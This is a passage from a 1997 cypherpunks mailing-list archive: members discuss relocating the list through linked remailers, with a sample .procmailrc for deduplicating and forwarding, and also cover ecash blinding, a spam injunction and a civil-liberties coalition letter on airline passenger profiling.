At 3:18 pm -0500 2/12/97, Jonathan M. Bresler <jmb@frb.gov> wrote:
                                                   ^^^^^^^
>	your expected mail volume is 100,000+ messages a day?
>
>	i run lists that do 200,000+ routinely.
>	recent peak of 350,000 messages
>
>	does that meet your needs?

Great.

Let's run cypherpunks with a government subsidy.

;-).

Pulling your leg, just a bit..

Cheers,
Bob Hettinga

"So much for a geodesic monitary system..."


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 12 Feb 1997 12:28:25 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702121825.LAA11266@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


    maybe relief is in sight; can we spell excedrin?

on or about 970211:1433 educom@elanor.oit.unc.edu said:

+COURT GRANTS COMPUSERVE INJUNCTION AGAINST JUNK E-MAIL

+A U.S. district court in Ohio has granted CompuServe's request for a
+preliminary injunction barring Cyber Promotions Inc. from sending
+unsolicited e-mail to its subscribers while the commercial provider
+pursues its lawsuit against Cyber Promotions.  The injunction was
+granted after Cyber Promotions foiled CompuServe's initial attempts to
+block its messages by falsifying the point-of-origin information on
+its e-mail messages and by configuring its network servers to conceal
+its actual Internet domain name. "To the extent that defendant's
+multitudinous electronic mailings demand the disk space and drain the
+processing power of plaintiff's computer equipment, those resources
+are not available to CompuServe subscribers," the court reasoned.  In
+addition, because many subscribers had complained to CompuServe about
+the mailings, the court found that Cyber Promotions' intrusions
+constituted "harm" as well as trespassing under common tort law. The
+court found that the "plaintiff is not a government agency or a state
+actor which seeks to preempt defendants' ability to communicate but is
+instead a private actor trying to tailor the nuances of its service to
+provide maximum utility to its customers."  (BNA Daily Report for
+Executives 7 Feb 97)
 ___________________________________________________________attila_____
   "The only difference between me and a madman
    is that I am not mad." 
        --Salvador Dali ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Bray <tbray@textuality.com>
Date: Wed, 12 Feb 1997 18:47:35 -0800 (PST)
To: "Timothy C. May" <ichudov@algebra.com>
Subject: Re: List for discussing many majordomos
Message-ID: <3.0.32.19970212184421.00aae098@pop.intergate.bc.ca>
MIME-Version: 1.0
Content-Type: text/plain


some idiot subscribed me.

I know how to use majordomo
I know how to read mail headers
Majordomo says that the address that it is sending this shit to is not
 on the list
Much & all as I sympathize with the ethos and practice of cypherpunkery,
 please stop.  
I have asked in the proper approved way many times, and am still deluged.  
GET ME OFF THIS LIST!
Thank you.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 12 Feb 1997 15:50:13 -0800 (PST)
To: ravage@einstein.ssz.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <01IFC7EUTVMO9AN9SS@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"ravage@einstein.ssz.com"  "Jim Choate" 12-FEB-1997 18:43:56.23

> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>

>> 	Umm... because you'll eventually accumulate _lots_ of addresses
>> that don't work, which will slow things down tremendously in sending
>> mail out?

>The current subscription is between 1,000 and 2,000 I don't think that is
>_lots_. All we need to do is count the number of bounces per address in
>a given period, the SSZ end is trying to decide between weekly or
>monthly cleanings, and then clear that address. At no point would I need
>to archive the original bounce.

	Someone with more experience correct me if I'm wrong (I'm just
starting to learn about mailing list management), but isn't saving
at least the first bounce from a given address good in order to check
what address is the one that's actually bouncing? Admittedly, this only
applies to badly-formed bounces. The rest can just have the address
noted.

>> 	Well, loki@cyberpass.net has made the offer to host the entire
>> list... and Lance is certainly making money at it. While this would have
>> some problems in comparison with the distributed list idea (namely more of
>> a choke point), it would decidedly help.

>I certainly hope they get a cpunks address made available. I will certainly
>subscribe cpunks@ssz so that the distributed remailer will benefit from 
>that input. However, one of the major realizations is that as long as one
>anything is involved in the list it is capable of being shutdown at any
>time with no warning. It also makes it much easier to compromise. I would
>like to see servers in several countries myself.

	Agreed.

>> >Is anyone interested in acting as a mail-to-news gateway?

>Want to volunteer?

	Give me some idea of how much programming knowledge, time, etcetera
is required, please, before I can answer. I'd be renting space on some other
computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
programming language (i.e., beyond Applesoft Basic) that I know anything of
is Perl (and I don't know that all that well); and I am somewhat busy with
other stuff. In other words, it depends.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 16:52:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702130059.SAA02356@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Feb 1997 18:47 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)
> 
> 	Someone with more experience correct me if I'm wrong (I'm just
> starting to learn about mailing list management), but isn't saving
> at least the first bounce from a given address good in order to check
> what address is the one that's actually bouncing? Admittedly, this only
> applies to badly-formed bounces. The rest can just have the address
> noted.

Hmmm, I can see saving the address causing the bounce in some sort of array
that is indexed to the majordomo subscription list for a given remailer. It
would not cost anything but overhead to save the entire message. I guess my
motivation was not that I cared their mailbox was full or it was a invalid
address but that I wouldn't be able to deliver at this time. I just don't
see any reason that it helps me to know why they can't receive mail only that
they can't.

> >Want to volunteer?
> 
> 	Give me some idea of how much programming knowledge, time, etcetera
> is required, please, before I can answer. I'd be renting space on some other
> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
> programming language (i.e., beyond Applesoft Basic) that I know anything of
> is Perl (and I don't know that all that well); and I am somewhat busy with
> other stuff. In other words, it depends.

Hmmm, not shure how much programming it would take - never done it myself.
I think Perl would be an acceptable language. I certainly hope to do the
majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
who knows the fine points of how INN cache's messages. Redbeard and I had a
short discussion about this issue today relating to tracking messages to
reduce mail-loops. I will discuss it with him and see what happens.

I know exactly what you mean. I have two full-time jobs and hadn't really
thought of taking on the cpunks list in any manner. But hey, that is the
spice in life...

Give me a couple of days to look at the situation and if somebody don't beat
me to it I'll post what I find out. Cool?

                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Wed, 12 Feb 1997 16:17:23 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Remove My Name
Message-ID: <970213001348_70401.3161_IHD85-1@CompuServe.COM>
MIME-Version: 1.0
Content-Type: text/plain


I CONTINUE TO  RECEIVE MAIL.  PLEASE REMOVE MY NAME FROM THE MAILING LIST.
THANK YOU





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 19:05:23 -0800 (PST)
To: Moroni <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
In-Reply-To: <199702150204.VAA07451@ns1.scranton.com>
Message-ID: <v03007816af283687d31d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:53 PM -0500 2/12/97, Moroni wrote:
>       Zip,NAda,Nothing. And they have more too. They were backlogged so
>some people haven't gotten their mail since I last posted about. I called
>yesterday about my videos and posters and lo and behold I received my two
>tech manuals today.
>       The people who answer the lines are friendly and usually pretty
>industrious in getting things out or done.
>       By the way there is supposed to be a department split in the near
>future so I don't know if manuals will be in one department and posters in
>another or what.

By the way, I say "FORGET IT" to the NSA Rainbow manuals. A worthless pile
of crap.

I subscribed to them several years ago, got the Big Box of Manuals, and
then got  new editions every few months for several years. None of them
were ever useful to me in even the slightest way.

They are written in "bureaucratese," so they're not even fun reading.

If they're not on the Web by now it just shows what a sicko government
agency the NSA and NCSA is, and if they _are_ on the Web, you'll see what I
mean quickly enough.

Even for "novelty value" ("Hey, Tim, the mail guy just delivered a package
from the National Security Agency!") the books are worth very little.

Do a tree a favor and just say No to the Rainbow series.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 17:12:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702130118.TAA02401@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 12 Feb 1997 16:22:28 -0800
> From: "Timothy C. May" <tcmay@got.net>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks"

> I was making the point that _any_ site distributing a list is likely to
> face legal pressures not to carry certain items. Read between the lines (or
> read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
> the products of Sandy's company, and legal pressures applied, to see what I
> mean.

This is exactly the reason that my suggestion to anyone setting up a
remailer with any sort of controversial content should do it as some sort of
outreach of their business. It is too expensive in time, money, and hassles
to do for grins and giggles.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 17:22:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702130129.TAA02488@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 13 Feb 1997 00:04:44 +0000
> From: paul@fatmans.demon.co.uk
> Subject: Re: Network of majordomos


> Charter:
> 
> alt.cypherpunks will serve as a discussion forum for the members of 
> the cypherpunks community. The discussion group previously resided on 
> a mailing list run at toad.com but due to a difference of opinion 
> between the majority of active members of the list and the owner of 
> toad.com, John Gilmore, the list must now relocate onto usenet as a 
> temporary measure while further measures are put in place to 
> re-establish a mailing list format. The group has approximately 1500 
> members and has been active online for some 5 years.

I would like to see that 'temporary measure' changed to one means of
distribution and a resource in addition to the remailer chain. I would
really like to see this stay in place.



                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Feb 1997 16:37:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Shameless FC97 Plug: (Was Re: anonymity and e-cash)
In-Reply-To: <199702122350.PAA14364@you.got.net>
Message-ID: <v030078f5af2811230cfc@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:08 pm -0500 2/12/97, Tim May wrote:

>This "disintermediates" the process, and makes for an "everyone a mint"
>situation, which has some of the same nice properties that an "everyone a
>remailer" ecology of remailers and users has.

And, of course, Ian's going to teach all this fun stuff in Anguilla next week.

;-).

E-mail me, and I'll refresh your memory with a workshop program, or just
click on the FC97 URL in my .sig, below. We have lots of room. Just don't
take American, though American Eagle's okay...

Shamelessly yours,
P. T. Hettinga
Promotional Chairman,
FC97 Workshop, Conference, and Exhibition

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 12 Feb 1997 16:42:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
In-Reply-To: <m2zpx9lfrz.fsf@clouds.heaven.org>
Message-ID: <Pine.LNX.3.95.970212194144.3162A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On 12 Feb 1997 janke@unixg.ubc.ca wrote:

> It's not too hard: The payee forwards a blinded, non-signed coin
> to the payer. The payer has the bank sign this, and then returns
> it to the payee who strips out the blinding factor.

This is correct except for the fact that the payer also has to apply a blinding
factor to the coin, thus making it a "double-blinded" coin.  It gets signed by
the bank, the payer divides the coin by the blinding factor and sends it to
the payee, who then strips out his blinding factor.  Ecash coins can also be
laundered making the above scheme mostly unnecessary.  Since most people will
probably not look upon fully anonymous ecash highly, laundering will be a more
popular option as it cannot be prevented.


Mark
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+i3F8H00mFJfmZUGpAiywE7GNobCXeppPJOn/QHA4/FrWJx5hE39qgB7U+AFwYVP
PHGy4SSSBeKWciK83DU3Bz6ptygznL7fHW4vOZ8UM5QZjbyiDomVriSuJHw0lKdH
r63BhOqYPXgMHgsa28XTlI9AWN5PpaIbvORTHOWv40EF3nGVrWGnMw==
=Vpit
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Wed, 12 Feb 1997 20:10:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New group
Message-ID: <3.0.32.19970212200548.01571d64@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:38 AM 2/12/97 -0800, Dale Thorn <dthorn@gte.net> wrote:
>Paul Bradley wrote:
>> Well despite the obvious problems of propogation I thought it was time
>> someone actually did something to get us a new home, even if it`s only
>> temporary. So I have created alt.cypherpunks... See you all over on
>> usenet!...
>
>I pressed the URL alt.cypherpunks and my Netscape server said
>"no such thing" or words to that effect.

It has to be created on your local server, Dale.

Wait a bit, and if doesn't show up speak to someone st your ISP.


Rich


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Wed, 12 Feb 1997 17:54:32 -0800 (PST)
To: misc@epic.org
Subject: Coalition Letter on Privacy and Airline Security
Message-ID: <v03020901af281e7e656c@[204.91.138.84]>
MIME-Version: 1.0
Content-Type: text/plain


A HTML version of this is available at
http://www.epic.org/privacy/faa/airline_security_letter.html


February 11, 1997

Vice President Albert Gore, Jr.
The White House
1600 Pennsylvanpia Ave, NW
Washington, DC 20500

Dear Mr. Vice President,

	We are writing to you to express our views on the serious civil
liberties issues raised by recent government activities in the name of
airline security.  These include recent orders issued by the Federal
Aviation Administration, and also proposals recommended by the White House
Commission on Aviation Safety and Security and the FAA Advisory Aviation
Security Advisory Committee.

	Many of these proposals were developed in the highly-charged
atmosphere following the still-unsolved crash of TWA Flight 800 and reflect
a misguided rationale that something had to be done, no matter how marginal
in value or violative of individual rights.

	We all feel strongly that air travel must be safe - nobody wants to
feel that to set foot on an airplane or an airport is to take a substantial
safety risk.  However, basic civil liberties protected by the Constitution
should not be sacrificed in the name of improving air safety, especially
where the potential benefits are questionable.  At the airport ticket
counter, passengers check their luggage, not their constitutional rights.


Identification

	One area of concern is a secret FAA order issued in August 1995 and
apparently revised in October 1995. The FAA order purportedly requires
airlines to demand government-issued photo identification from all
passengers before they can board an airplane.  It remains unclear whether a
passenger must provide that identification and what discretion an airline
has to allow, or refuse, any passenger to board if they refuse to provide
identification or simply do not have any available.

	Americans are not required to carry government-issued
identification documents. Any requirement that passengers show
identification raises substantial constitutional questions about
violations of the rights to privacy, travel, and due process of law.  The
Supreme Court has consistently struck down laws that interfere with the
constitutional right to travel.  The Court has also overturned laws in a
variety of circumstances that require an individual to provide
identification in the absence of any specific suspicion that a crime has
been committed.  In addition, it is unclear that requiring passenger
boarding an aircraft to identify him or herself actually makes the people
with whom they travel any safer. A bomber with a fake ID is just as
effective as a bomber with no ID.

	We urge the FAA to withdraw its directive and to notify airlines
that identification should not be requested for security reasons.  At a
minimum, the FAA should require airlines to post notices telling passengers
that they cannot be denied boarding just because they fail or refuse to
identify themselves.


Computer Databases and Profiling

	Another major concern involves the proposed increased utilization
of the practice of "profiling" passengers to determine whether they pose a
security risk and should thus be searched. This would require the
collection of personal information on passengers prior to their boarding a
plane.  Information that may be collected includes a picture or other
biometric identifier, address, flying patterns with a particular airline,
bill paying at a particular address, criminal records, and other
information. This, and information gleaned from observing the persons with
whom the passenger was traveling, would be fed into a computer data base
that would be used to decide whether the passenger "fits the profile" and
should be subjected to heightened security measures.  Under this proposal,
the checked luggage of people selected by the computer would be scanned by
new sophisticated scanning devices.

	The risks to privacy are enormous and run not only to those who
"fit the profile." For this system to be useful, it must apply to every
person who might take a flight, i.e., to everybody. A new government
dossier on everyone would have to be created, computerized, and made
accessible to airline personnel.

	In addition, for the system to be useful, it would have to be
linked to other data bases and constantly updated. Each time a person
changes their address or takes another flight, or does anything related to
the characteristics about them deemed significant by the profiling system,
the government would track it. All of our experience with the creation and
updating of such ever-changing data bases teaches us that the likelihood of
inaccuracy at any given moment is high.  The FBI, for instance, recognizes
that data in its computer system  of criminal records has an inaccuracy
rate of 33 percent. Such inaccuracy would lead to both a breach of safety
and to violations of the rights of innocent people. This proposal is a
quick fix that won't fix anything.

	The proposal also violates a central principle of the Code of Fair
Information Practices and the Privacy Act (5 U.S.C § 552a): information
given to the government for one purpose ought not be used for other
purposes without the consent of the person to whom it pertains. The use of
criminal records in such a data base, particularly where those records
include arrests that do not result in convictions, is particularly
troubling.

	Profiling also frequently leads to discriminatory practices.
Already, we have received numerous reports of discrimination against
individuals and families with children who have been refused entry onto
aircraft because their names appeared to be of Middle-Eastern origin. In
the well publicized example of security guard Richard Jewel, reports
indicated that the FBI profile led the police to unfairly target Mr. Jewel
for the incident, even in the absence of other evidence. This incident
vividly shows the limitations of basing a law enforcement decision on a
profile.

	We urge the FAA and airlines to discontinue the use of passenger
profiling.

X-Ray Cameras

	We also view with concern proposals to install  in airports new
cameras which can depict highly detailed images of individuals' bodies
under their clothes.  Existing scanners, the development of which was
partially funded by the FAA, already show a revealing and invasive picture
of a naked body in high detail and the technology is likely to improve.
This is clearly a search under the Fourth Amendment and is far more
intrusive than a standard metal screening device.  Passengers should not be
subject to an "electronic strip search" in order to board an aircraft. To
expose travelers' anatomies to the general public or even to selected (not
by the victim of the unreasonably intrusive search) strangers is extremely
embarrassing and shocking to the conscience.

	We urge the FAA to reject proposals to use body scanners capable of
projecting an image of a person's naked body.

Secrecy

	Much of the key decision-making surrounding these proposals has
been shrouded by secrecy. The FAA has claimed that it is exempt from open
government laws and has refused to release its directives on profiling and
identification. Relevant meetings have been closed to the public or limited
to participants who can afford to pay expensive fees.

	We urge the FAA to publish its directives and open all further
decision making open to public scrutiny.

Conclusion

	In conclusion, we believe that these proposals raise grave
constitutional issues and are likely to produce only minimally beneficial
results to improve airline safety. We urge the FAA and the advisory
commissions to focus their efforts on improving security in a balanced and
rational manner that is open to public scrutiny and consistent with
constitutional rights.


Sincerely,


Houeida Saad
American-Arab Anti-Discrimination Committee

Greg Nojeim
American Civil Liberties Union

Maher Hanania
American Federation of Palestine

James Lucier, Jr., Director of Economic Research
Americans for Tax Reform

Aki Namioka, President
Computer Professionals for Social Responsibility

Lori Fena, Executive Director
Electronic Frontier Foundation

David Banisar, Staff Counsel
Electronic Privacy Information Center

Ned Stone
Friends Committee on National Legislation

Judy Clarke, President
National Association of Criminal Defense Lawyers

Kit Gage, Washington Representative
National Committee Against Repressive Legislation

Audrie Krause, Executive Director
NetAction

Sharisa Alkhateeb
North American Council of Muslim Womem

Simon Davies, Director General
Privacy International

Robert Ellis Smith, Publisher
Privacy Journal

Evan Hendricks, Chairman
US Privacy Council and Publisher, The Privacy Times

Enver Masud
Executive Director
The Wisdom Fund

John Gilmore
Civil Libertarian and co-founder, The Electronic Frontier Foundation


-------
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003    * PGP Key
http://www.epic.org/staff/banisar/key.html             






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 18:55:34 -0800 (PST)
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: subscribe
In-Reply-To: <199702130252.UAA02738@einstein>
Message-ID: <199702130248.UAA11775@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> 
> Hi Igor,
> 
> > I will not impact me negatively. I do, however, suggest very strongly
> > that hosts should be subscribed to each other thgrough another mechanism
> > and not majordomo, in order to prevent mail loops, header rewriting and such.
> 
> Suggestions? What I had in mind was that any messages that get sent on
> cpunks@ssz.com get sent over to algebra. One mechanism I would like to play
> with is a 'linked list' of remailers. Remailer A sends only to B and
> receives only from C...
> 
> 
>                                A
>                              ^   v
>                              C < B

> Then to stop loops B deletes all outgoing mail from B. Since email can be
> forwarded from many sites the search must traverse the entire forward chain
> killing the message if B appears as a source. I suspect a simple procmail sort
> can accomplish this. My next step is to brush up on my procmail. I hope to
> have something in a couple of days that will allow you to subscribe
> cpunks@algebra to cpunks@ssz and both ends will be filtering.

Here's how I do it (it is pretty close to your proposal): 

1) I delete duplicate messages (by looking up the database of
message-IDs) right away
2) I bounce all incoming messages to several other list servers
3) I pipe the article to majordomo for distribution.

Note that majordomo changes headers and I wuold like to feed
other servers with UNCHANGED articles.

Here's the .procmailrc that takes care of this:

(OTHER_HOSTS will be redefined to include, e.g., cypherpunks@ssz.com)

# Please check if all the paths in PATH are reachable, remove the ones that
# are not.
#
# NOTE: I use lockfiles extensively (and even excessively) because
# I do not want to overburden the system. Since I am on a
# PPP link that is not always on, sometimes large amounts of 
# submissions come in simultaneously and that may impair
# performance of the overall system. You do not REALLY need
# to use these lockfiles otherwise.
###################################################################

PATH=/bin:/usr/bin:/usr/local/bin:$HOME/bin
MAILDIR=$HOME/Mail	# You'd better make sure it exists
DEFAULT=$MAILDIR/mbox
# VERBOSE=ON
LOGFILE=$MAILDIR/from
LOCKFILE=$HOME/.lockmail

OTHER_HOSTS="cypherpunks@zzzz.com"

:0 c
$MAILDIR/allmail

############################################################ mailbombing
############################################################ end mailbombing

:0
* ^TOcypherpunks
* !^X-Loop:
* !FROM_MAILER
* !FROM_DAEMON
{
  #
  # This recipe removes duplicates!
  #
  :0 Wh: msgid.lock
  | formail -D 128000 msgid.cache

  # send it to all other hosts
  :0 c
  !$OTHER_HOSTS

  # add X-Loop:
  :0 fhw
  | formail -I "X-Loop: cypherpunks@algebra.com"

  # send it to people
  :0 c
  | cypherpunks-send-subscribers

  # Accounting, logging
  :0
  | cypherpunks-accounting
}

:0:
* ^TOcypherpunks-request
$DEFAULT

# all the rest is trash
:0
$DEFAULT

# thats where it should be
#/dev/null

> Another nice advantage of this architecture is that 'rings' of remailers can
> be interconnected by simply sending output to more than one site. Might even
> be a good stability rule, "Never have a remailer send to more than 1 machine
> in its 'own' ring". I see no limit other than resources that would limit the
> number of rings an individual remailer might be in.

A very good point.

> The address is 'cypherpunks@ssz.com' but as alluded to above. I would  like
> to let it run 1 way for a day or so to get an idea of the stability of our
> network link. You might consider creating a bogus username on your end.
> Subscribe that user to the SSZ remailer and to your own mail list. Then use
> procmail to filter all outgoing mail of that user since its incoming would
> be from your list and its outgoing would go to mine, which then forwards
> them to your list. We might want to call the bogus user 'gatekeeper'.

Yes, we really should make darn sure that no loops are poissible
before inviting people to subscribe to our lists.

> If its agreeable lets get together on the cpunks-hosts list tomorrow and
> discuss this a little more.
> 
> If you don't mind, please forward this to the cpunks@toad list with your
> responces. I would like to expose it to a little criticism.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 18:55:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks Distributed Remailer
Message-ID: <199702130302.VAA02808@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

We have established the first link between cypherpunks@ssz.com and
cypherpunks@algebra.com. Testing will continue for about 24 hours and we
hope to have the link going two-way within a couple of days.

If testing proceeds at the current pace we should be ready to go for a 3-way
link if anyone will be ready this weekend. If we can get a 3-way going we
should be ready for prime time.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 12 Feb 1997 13:15:12 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Network of majordomos
In-Reply-To: <855766182.518362.0@fatmans.demon.co.uk>
Message-ID: <199702122106.VAA02068@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > Greg Broiles wrote:
> > > I sent a proposal to alt.config last night and intend to newgroup 
> > > alt.cypherpunks in a week or so
> 
> 
> Greg.
> 
> Don`t bother, I have already drawn up a draft charter and newsgrouped 
> it. Wouldn`t have bothered if I knew you were already on it but I 
> didn`t see your post in alt.config...
> 
> Seeya there...

What was your chater?  Could you Cc a copy to the list?

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 12 Feb 1997 21:26:21 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702130526.VAA24937@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:25 PM 2/12/97 -0800, Timothy C. May wrote:

>Having said this, the flaw remains that "junk mail" is "free" to the
>sender. This is a flaw in the ontology of e-mail, and needs to be fixed.
>Digital postage is one approach.

I decided long ago (okay, well, many months ago) that the "solution" is to 
invent a mechanism to allow spammers/advertisers to include a small amount 
of ecash as a gift with every spam.  I figure that if USnail junk-mailers 
are willing to pay $0.32 for postage and probably $0.50 for production, 
printing, and labelling costs, all for no guarantees of results, they should 
even more happy to pay, say, 10 cents to each recipient.  At that rate, an average 
person would probably receive enough "spam" to  pay for his Internet 
account, quite analogous to the way advertiser-supported TV is presented to 
the public for no explicit charge.




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Feb 1997 19:26:56 -0800 (PST)
To: cypherpunks@manifold.algebra.com
Subject: How to make majordomo request confirmations of subscriptions?
Message-ID: <199702130324.VAA12219@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi All,

I would like to set up my majordomo to request subscription
confirmations from users, by sending them a cookie. Looking at the
majordomo config files, I have not found such option.

Ideally I would like to have a system that a) requires the
new users confirm new subscriptions and b) once in a while
as users to confirm their existing subscriptions.

Is there any way to do it?

Thank you.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 21:28:10 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130528.VAA00558@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:59 PM 2/12/97 -0800, Hal Finney wrote:
>From: tcmay@got.net (Tim May)
>> You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
>> Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
>> just this issue. (He also talked for an hour on his crack of the RSA
>> challenge using 250 workstations...this was also a good talk.)
>
>I wish I could have heard that, it sounds good...
>
>A simple idea we have discussed for full anonymity uses the idea of
>exchanging coins at the bank.  You make an anonymous connection to
>the bank, supply some ecash you have received along with some blinded
>new ecash.  The bank verifies that the ecash is good and signs your
>blinded ecash, sending it back to you.  You unblind it and have good,
>fresh smelling ecash which you can keep, spend, or later deposit in
>your account.
>
>If the merchant performs this exchange operation on-line as soon as
>he receives ecash, then his anonynmity is protected.  The customer is
>protected too, by the blinding he used when he withdrew the ecash earlier.
>So both sides remain anonymous.
>
>It sounds like Ian may have worked out details of a system where third
>parties do these exchanges.  Banks may be reluctant to allow them for
>liability reasons, and the market, abhoring the vacuum, will supply
>intermediaries who perform exchanges for a fee.
>
>Resolving the various forms of cheating is the hard part.  When Lee asks
>about a signed receipt, it is hard to understand what is the point if the
>seller is fully anonymous!  A signed receipt from a freshly-minted key
>is not of much use to anyone.
>
>If the participants are using persistant pseudonyms then whatever
>reputation capital they have can be put on the line when cheating happens,
>although it still may be hard to tell who cheated whom.  Did the customer
